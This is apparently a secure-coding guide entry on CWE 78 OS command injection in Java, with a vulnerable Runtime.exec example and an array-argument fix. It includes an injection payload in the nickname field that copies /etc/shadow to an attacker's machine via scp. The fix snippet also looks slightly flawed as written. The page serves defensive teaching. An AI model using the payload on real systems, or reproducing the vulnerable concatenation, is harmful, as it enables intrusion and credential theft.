CWE 78: OS Command Injection

Flaw

CWE 78: OS Command Injection flaws occur if your application executes a native command when the name of, path of, or arguments to the command contain untrusted data (such as input from a web form, cookie, database, etc.).

For example:

String accountNumberQuery = "SELECT accountNumber FROM accounts\ 
    WHERE account_owner_id = ?";

try {
    PreparedStatement statement = connection.prepareStatement(accountNumberQuery);
    statement.setInt(1, currentAccountOwnerId);
    ResultSet rs = statement.executeQuery();

    int accountNumber = rs.getInt("accountNumber");
    String nickname = request.getParameter("nickname");  //user-supplied nickname

    while (rs.next()) {
        String makePDFCommand = "/opt/account_tools/bin/make_account_pdf " +
            accountNumber + " \"" + nickname + "\"";
    
        Runtime.getRuntime().exec(makePDFCommand);

        this.addLinkToStatementPDF(accountNumber, nickname);
    }
}
catch (SQLException e) { ... }
catch (IOException e) { ... }

This example code looks up an account number for the user, then calls an external program (make_account_pdf) that generates a PDF statement for that account number and a nickname provided by the user.

The command that is executed is built as the String makePDFCommand. Under normal operation, if a user provides "Joint Checking" as the nickname, it might return account number 907068073, and would result in makePDFCommand being:

/opt/account_tools/bin/make_account_pdf 907068073 "Joint Checking"

And it works as expected. But imagine a malicious user supplied the following nickname:

Joint"; scp /etc/shadow [email protected]: ; echo "

That would result in makePDFCommand being:

/opt/account_tools/bin/make_account_pdf 907068073 "Joint"; scp /etc/shadow [email protected]: ; echo ""

This command would execute as normal, creating a statement with the nickname "Joint"; but then it would also copy the /etc/shadow file (the file containing the hashed passwords of the machine's local users) to the attacker's machine.

By changing the nickname, an attacker can execute any command, allowing them to cause damage, deploy malicious software, or steal sensitive data.

Fix

To repair OS Command Injection flaws, you must ensure that any untrusted data is properly handled. You can do this by simply passing the command and arguments as an Array to exec (etc.):

String nickname = request.getParameter("nickname");  //user-supplied nickname
 
    while (rs.next()) {
-       String makePDFCommand = "/opt/account_tools/bin/make_account_pdf " +
-           accountNumber + " \"" + nickname + "\"";
+       String[] makePDFCommand = { 
+           "/opt/account_tools/bin/make_account_pdf ",
+           accountNumber,
+           nickname 
+       };
    
        Runtime.getRuntime().exec(makePDFCommand);
view fixed code only

This ensures that nickname is treated as a single argument, which prevents the OS from seeing the " and ; chars as having special meaning.

References

CWE ↪ OWASP ↪ WASC ↪

Ask the Community

Ask the Community